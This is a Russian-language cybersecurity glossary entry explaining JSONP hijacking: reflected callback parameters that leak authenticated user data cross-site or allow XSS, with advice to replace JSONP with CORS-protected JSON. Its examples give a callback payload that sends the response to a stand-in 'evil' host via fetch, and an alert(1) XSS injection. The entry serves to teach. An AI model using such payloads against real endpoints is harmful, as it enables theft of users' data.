Skip to content
Vol. 1 · Ed. 2026
CyberGlossary
Entry № 566

Уязвимость JSONP

Что такое Уязвимость JSONP?

Уязвимость JSONPМежсайтовая утечка данных через JSONP-эндпоинты, возвращающие аутентифицированные данные, обёрнутые в callback-функцию, заданную атакующим.


JSONP (JSON with Padding) — устаревшая техника межсайтовой передачи данных: сервер возвращает JavaScript вида callback({...}), который удалённая страница подключает через <script src>. Уязвимости JSONP возникают, когда такие эндпоинты возвращают аутентифицированные данные пользователя, а параметр callback отражается без проверки: атакующий публикует страницу, которая загружает JSONP-URL с собственным именем функции и перехватывает ответ, обходя политику одного источника и тогдашние защиты SameSite. Если в ответ попадает контент за пределами корректного идентификатора, шаблон допускает XSS. Современный подход — полностью отказаться от JSONP, заменить его на JSON, защищённый CORS, и не публиковать чувствительные эндпоинты для подключения через <script>.

Примеры

  1. 01

    /api/me?callback=window['x']=function(d){fetch('https://evil/?d='+JSON.stringify(d))}.

  2. 02

    Параметр callback отражается дословно, что позволяет XSS через callback=alert(1)//.

Частые вопросы

Что такое Уязвимость JSONP?

Межсайтовая утечка данных через JSONP-эндпоинты, возвращающие аутентифицированные данные, обёрнутые в callback-функцию, заданную атакующим. Относится к категории Атаки и угрозы в кибербезопасности.

Что означает Уязвимость JSONP?

Межсайтовая утечка данных через JSONP-эндпоинты, возвращающие аутентифицированные данные, обёрнутые в callback-функцию, заданную атакующим.

Как работает Уязвимость JSONP?

JSONP (JSON with Padding) — устаревшая техника межсайтовой передачи данных: сервер возвращает JavaScript вида callback({...}), который удалённая страница подключает через <script src>. Уязвимости JSONP возникают, когда такие эндпоинты возвращают аутентифицированные данные пользователя, а параметр callback отражается без проверки: атакующий публикует страницу, которая загружает JSONP-URL с собственным именем функции и перехватывает ответ, обходя политику одного источника и тогдашние защиты SameSite. Если в ответ попадает контент за пределами корректного идентификатора, шаблон допускает XSS. Современный подход — полностью отказаться от JSONP, заменить его на JSON, защищённый CORS, и не публиковать чувствительные эндпоинты для подключения через <script>.

Как защититься от Уязвимость JSONP?

Защита от Уязвимость JSONP обычно сочетает технические меры и операционные практики, как описано в определении выше.

Какие есть другие названия Уязвимость JSONP?

Распространённые альтернативные названия: Утечка JSONP, JSONP hijacking.

Связанные термины